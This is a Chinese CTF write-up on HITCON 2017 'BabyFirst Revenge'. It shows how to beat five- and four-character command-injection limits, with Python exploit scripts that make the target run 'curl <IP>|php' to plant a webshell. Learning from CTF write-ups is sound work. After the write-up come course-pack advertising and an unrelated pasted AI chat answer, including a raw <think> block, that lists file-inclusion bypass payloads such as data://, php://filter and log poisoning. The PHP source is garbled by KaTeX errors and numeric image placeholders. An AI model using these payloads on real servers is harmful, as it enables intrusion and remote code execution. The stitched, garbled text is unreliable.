php如何打网页ctf,【CTF 攻略】如何绕过四个字符限制getshell

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

本文主要整理如何巧用Linux命令绕过命令注入点的字符数量限制,内容围绕HITCON CTF 2017 的两道题展开,先讲五个字符的限制,再讲四个字符的。在此感谢下主办方分享这么有趣的点子。

热身

问题的起源是 HITCON CTF 2017 的 BabyFirst Revenge 题,题目的主要代码如下:

BabyFirst Revenge

$sandbox = ‘/www/sandbox/’ . md5(“orange” . $_SERVER[‘REMOTE_ADDR’]);

@mkdir($sandbox);

@chdir($sandbox);

if (isset(KaTeX parse error: Undefined control sequence: \[ at position 6: \_GET\̲[̲'cmd'\]) && str…_GET[‘cmd’]) <= 5) {

@exec($_GET[‘cmd’]);

} else if (isset($_GET[‘reset’])) {

@exec('/bin/rm -rf ’ . $sandbox);

}

highlight_file(__FILE__);

冷静分析

目标环境根据每个访问者的IP为其在sandbox里新建一个文件夹并作为其工作目录,接受并执行访问者提交的命令。访问者可随时通过提交reset来重置环境。这是个有限制无回显的后门,命令长度要求小于等于5 ,我们会希望利用这一点撕开口子,往服务器上写一个自己的木马,从而扩大命令执行范围。

我们所面临的最主要问题是能够执行的命令长度太短,因此考虑把命令写进文件里再执行,命令的功能是下载我们指定的文件。

在此之前,先做些知识铺垫。

IP的等价表示法

IP地址本质上就是一个整数,只是通常用点分十进制表示,以至于我们反而不太熟悉它本来的样子。只要必要,我们可以用十六进制、长整数、八进制表示IP,大部分情况下效果是相同的。

87203

它们之间的转换也很方便:

ip = ‘127.0.0.1’

十六进制

print ‘0x’ + ‘’.join([str(hex(int(i))[2:].zfill(2))

for i in ip.split(‘.’)])

长整数

print int(‘’.join([str(hex(int(i))[2:].zfill(2))

for i in ip.split(‘.’)]), 16)

八进制

print ‘0’ + oct(int(‘’.join([str(hex(int(i))[2:].zfill(2))

for i in ip.split(‘.’)]), 16))

从网络下载文件

87203

利用续行符拆分命令成多行

87203

用两个字符在Linux下创建文件

87203

将命令执行结果重定向到文件

87203

利用重定向向文件追加内容

87203

删除文件

87203

ls 的文件排列顺序

一句alphabetical耐人寻味,不过大致顺序就是如下图所示。

87203

开始表演

假设我有一台目标服务器能够访问到的公网主机,为了方便我把该主机IP转换成长整数,然后利用以上的知识将 curl ip > A 用续行方式切割成多行写进文件 A ,然后执行 sh A 就可以下载到预先放在公网主机上的文件并且覆盖本地的文件A,而下载下来的文件内容是用来写PHP木马的PHP代码,我再执行 php A就可以写个自己的webshell进去啦。

87203

这里比较取巧的是我的公网IP转成长整形恰好能分割成顺序的四段,如果构造不出来,可以试试十六进制,八进制,找台能用的主机等等:)或者继续往下看,还会有其他办法。

另外,其实GET也是能用的,只是目标主机里没有安装所以这题不能用。

接下来让我们完成最后30%的工作,写个exp。

-*- coding:utf8 -*-

import requests as r

import hashlib

url = ‘http://52.199.204.34/’

查询自己的IP

ip = r.get(‘http://ipv4.icanhazip.com/’).text.strip()

sandbox = url + ‘sandbox/’ + hashlib.md5(‘orange’ + ip).hexdigest() + ‘/’

reset = url + ‘?reset’

cmd = url + ‘?cmd=’

build = [‘>cur\’,

‘>l \’,

‘ls>A’,

‘rm c*’,

‘rm l*’,

‘>105\’,

‘>304\’,

‘>301\’,

‘>9>\’,

‘ls>>A’,

‘sh A’,

‘php A’

]

如果目标服务器有GET,这个也是可以打的

build = [‘>GE\’,

‘>T\ \’,

‘ls>A’,

‘rm G*’,

‘rm T*’,

‘>105\’,

‘>304\’,

‘>301\’,

‘>9>\’,

‘ls>>A’]

r.get(reset)

for i in build:

s = r.get(cmd + i)

print ‘[%s]’ % s.status_code, s.url

s = r.get(sandbox + ‘fun.php?cmd=uname -a’)

print ‘n’ + ‘[%s]’ % s.status_code, s.url

print s.text

运行效果

87203

挑战升级

这篇文章有趣的地方才刚刚开始。

代码只改了一个字符,但趣味已经不在一个量级。一脸懵逼的我看了大佬们的wp后兴奋不已。

BabyFirst Revenge v2:

$sandbox = ‘/www/sandbox/’ . md5(“orange” . $_SERVER[‘REMOTE_ADDR’])

@mkdir($sandbox)

@chdir($sandbox)

if (isset(KaTeX parse error: Undefined control sequence: \[ at position 6: \_GET\̲[̲'cmd'\]) & & st…_GET[‘cmd’]) <= 4) {

@exec($_GET[‘cmd’])

} else if (isset($_GET[‘reset’])) {

@exec('/bin/rm -rf ’ . $sandbox)

}

highlight_file(__FILE__)

热烈分析

只有四个字符的施展空间意味着我们能做的事情少之又少,但Linux本身的简洁给了我们机会。

突破之旅从神奇的星号 * 开始。

87203

经过简单测试我们猜测 * 的作用相当于 `ls` 。这其实相当厉害,我们本就基本上可以创建任意名字的短文件,现在又可以一个字符就把这些文件名连起来当作命令执行,这提供了很大的想象空间。

87203

还有本质上一样但现象很有趣的,待会儿会用到:

87203

虽然这些特技提供了一些可能性,但是 ls 列出的文件顺序问题仍然是个挑战,我们很难在 alphabetical 序的基础上构造出有用的命令。

写入时间是我们可以控制的,如果能执行 ls –t(将文件按时间排序输出),那么只要把想执行的命令分割成若干段然后逆序写入,就可以随心所欲地构造出任意命令。考虑到 ls -t 本身就已经有4个字符了,我们故技重施,先将 ls -t > f 写入文件 g 中,然后执行 sh g 即可将我们分段逆序写入的命令拼接起来。

在开始操作前,再介绍两个会用到的命令:dir 和 rev。

dir

在GNU文档中有下图这样的描述:

87203

虽然基本上和 ls 一样,但有两个好处,一是开头字母是d ,这使得它在 alphabetical 序中靠前,二是按列输出,不换行。

rev

这个前面出场过,可以反转文件每一行的内容。

87203

实验一下:

87203

开始挑战

需要知道的命令和 tips 都已经介绍了,下面是代码和解释:

#-*-coding:utf8-*-

import requests as r

from time import sleep

import random

import hashlib

target = ‘http://52.197.41.31/’

存放待下载文件的公网主机的IP

shell_ip = ‘xx.xx.xx.xx’

本机IP

your_ip = r.get(‘http://ipv4.icanhazip.com/’).text.strip()

将shell_IP转换成十六进制

ip = ‘0x’ + ‘’.join([str(hex(int(i))[2:].zfill(2))

for i in shell_ip.split(‘.’)])

reset = target + ‘?reset’

cmd = target + ‘?cmd=’

sandbox = target + ‘sandbox/’ +

hashlib.md5(‘orange’ + your_ip).hexdigest() + ‘/’

payload某些位置的可选字符

pos0 = random.choice(‘efgh’)

pos1 = random.choice(‘hkpq’)

pos2 = ‘g’ # 随意选择字符

payload = [

‘>dir’,

创建名为 dir 的文件

‘>%s>’ % pos0,

假设pos0选择 f , 创建名为 f> 的文件

‘>%st-’ % pos1,

假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,

因为alphabetical序中t>s

‘>sl’,

创建名为 >sl 的文件;到此处有四个文件,

ls 的结果会是:dir f> kt- sl

‘*>v’,

前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,

前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl

非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符

‘>rev’,

创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v

‘*v>%s’ % pos2,

魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。

这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f

续行分割 curl 0x11223344|php 并逆序写入

‘>p’,

‘>ph\’,

‘>|\’,

‘>%s\’ % ip[8:10],

‘>%s\’ % ip[6:8],

‘>%s\’ % ip[4:6],

‘>%s\’ % ip[2:4],

‘>%s\’ % ip[0:2],

‘> \’,

‘>rl\’,

‘>cu\’,

'sh ’ + pos2,

sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,

虽然 f 的文件头部会有杂质,但不影响有效命令的执行

'sh ’ + pos0,

sh f 执行curl命令,下载文件,写入木马。

]

s = r.get(reset)

for i in payload:

assert len(i) <= 4

s = r.get(cmd + i)

print ‘[%d]’ % s.status_code, s.url

sleep(0.1)

s = r.get(sandbox + ‘fun.php?cmd=uname -a’)

print ‘[%d]’ % s.status_code, s.url

print s.text

运行效果:

87203

后记

我相信除了文中给出的方法外一定还有一些奇招,大家可以多多探索,可以围观HITCON CTF 2107的官方解答区,还可以学习下Phithon师傅的《小密圈里的那些奇技淫巧》中与本文主题相关的部分。

最后,如果关于文章内容有任何建议或疑惑,你可以在https://findneo.github.io/ 联系本文作者。感谢阅读o/

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

<think>嗯,我现在要了解CTF中的include绕过技术。首先,CTF中的文件包含漏洞通常出现在PHP的include、require等函数中,对吧?那用户输入的文件名如果没有正确过滤,可能导致包含恶意文件。常见的绕过方法有哪些呢?比如,利用路径遍历或者编码?比如../这样的目录遍历,或者使用URL编码? 然后,可能有一些特定的过滤机制,比如过滤了../或者斜杠,这时候需要替换成其他编码,比如..%2f或者..\。还有,如果服务器限制了文件后缀,比如必须.php结尾,那是不是可以用%00截断?不过我记得PHP版本5.3之后修复了空字节截断的问题,所以可能得看环境。 另外,远程文件包含(RFI)的情况,如果allow_url_include开启的话,可以包含外部URL的文件。但有时候协议会被过滤,比如http://被黑名单,那可能用其他协议比如php://input或者data://来执行代码。例如data://text/plain,<?php system('ls');?>。 还有大小写绕过,比如.PHp这样的后缀,如果服务器对大小写不敏感的话。或者点号加斜杠,比如file.php/.这样的路径,可能绕过某些检查。还有利用日志文件包含,比如包含access.log,通过User-Agent注入PHP代码,然后包含日志文件执行。 哦,对了,有时候会有限制包含的路径,比如必须包含某个目录下的文件,这时候可能需要用软链接或者上传临时文件,但可能比较难。还有利用php://filter来读取源码,比如用resource=flag.php和编码base64,这样可以绕过执行直接读取源码。 不过可能我有没有遗漏什么情况?比如session文件包含,或者上传图片马然后包含?比如上传一个图片,里面带有PHP代码,然后用包含解析成PHP。不过需要服务器配置允许,比如allow_url_include和allow_url_fopen,或者结合文件上传漏洞。 还有,有时候会用长度截断,比如在旧版本的PHP中,超过一定长度的文件名会被截断,从而绕过后缀检查。但可能现在不太适用了。或者利用多个斜杠和点号组合,比如....//....//这样的,经过处理后会变成../..。 另外,如果过滤了php://,可能需要用其他包装器,比如phar://,或者zip://。比如phar://压缩包中的文件,执行代码。或者使用SMB协议远程包含,不过可能受网络限制。 总结一下,常见的绕过方法包括路径遍历、编码绕过、协议利用、特殊字符处理、日志注入、文件上传结合、过滤器利用等。可能还需要根据具体的过滤规则来调整绕过方式,比如黑名单过滤了哪些字符,是否区分大小写,是否检查文件头等。</think>在CTF比赛中,**文件包含漏洞**常出现在PHP的`include`、`require`等函数中。若用户输入的文件名未被严格过滤,攻击者可通过包含恶意文件获取敏感信息或执行代码。以下是常见的绕过技术及示例: --- ### 一、路径遍历绕过 1. **基础绕过** 若未过滤`../`,可直接跳转目录: ```php include($_GET['file']); // 参数?file=../../etc/passwd ``` 2. **编码绕过** - URL编码:`../` → `%2e%2e%2f` 或 `..%2f` - 双重编码:`../` → `%252e%252e%252f` - 绕过斜杠过滤:用反斜杠`..\`(Windows系统有效)。 --- ### 二、后缀名限制绕过 1. **空字节截断** 适用于PHP <5.3: ```php ?file=../../etc/passwd%00 // 截断后缀检查 ``` 2. **伪协议绕过** - 利用`php://filter`读取源码(Base64编码): ```php ?file=php://filter/convert.base64-encode/resource=flag.php ``` - 利用`data://`执行代码(需`allow_url_include=On`): ```php ?file=data://text/plain,<?php system("ls");?> ``` 3. **截断文件名** 旧版本PHP中长文件名会被截断: ```php ?file=../../etc/passwd/./././././././.[重复N次] ``` --- ### 三、特殊场景利用 1. **日志文件注入** - 将PHP代码注入`User-Agent`或`Referer`,再包含日志文件: ```php ?file=/var/log/apache2/access.log ``` 2. **文件上传结合** - 上传含PHP代码的图片(如`shell.jpg`),利用包含解析: ```php ?file=./uploads/shell.jpg ``` 3. **协议包装器** - `phar://`执行ZIP/JAR内文件: ```php ?file=phar://shell.zip/shell.php ``` - `zip://`需指定片段: ```php ?file=zip://shell.zip%23shell.php ``` --- ### 四、过滤规则绕过 1. **黑名单绕过** - 大小写混淆:`.Php`、`.PHP5` - 附加无关字符:`file.php/.`(路径解析为`file.php`) - 利用点号+斜杠:`....//` → `../` 2. **Session文件包含** - 控制`PHPSESSID`写入恶意代码到Session文件,再包含: ```php ?file=/tmp/sess_[session_id] ``` --- ### 五、防御建议 1. 禁用危险配置:`allow_url_include=Off`、`allow_url_fopen=Off`。 2. 白名单限制包含的文件路径。 3. 过滤特殊字符如`../`、`php://`,使用`basename()`处理文件名。 4. 设置`open_basedir`限制文件访问范围。 --- 通过灵活组合上述方法,可应对多数CTF中的文件包含题目。需根据实际过滤规则调整绕过策略,并关注PHP版本和环境配置差异。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值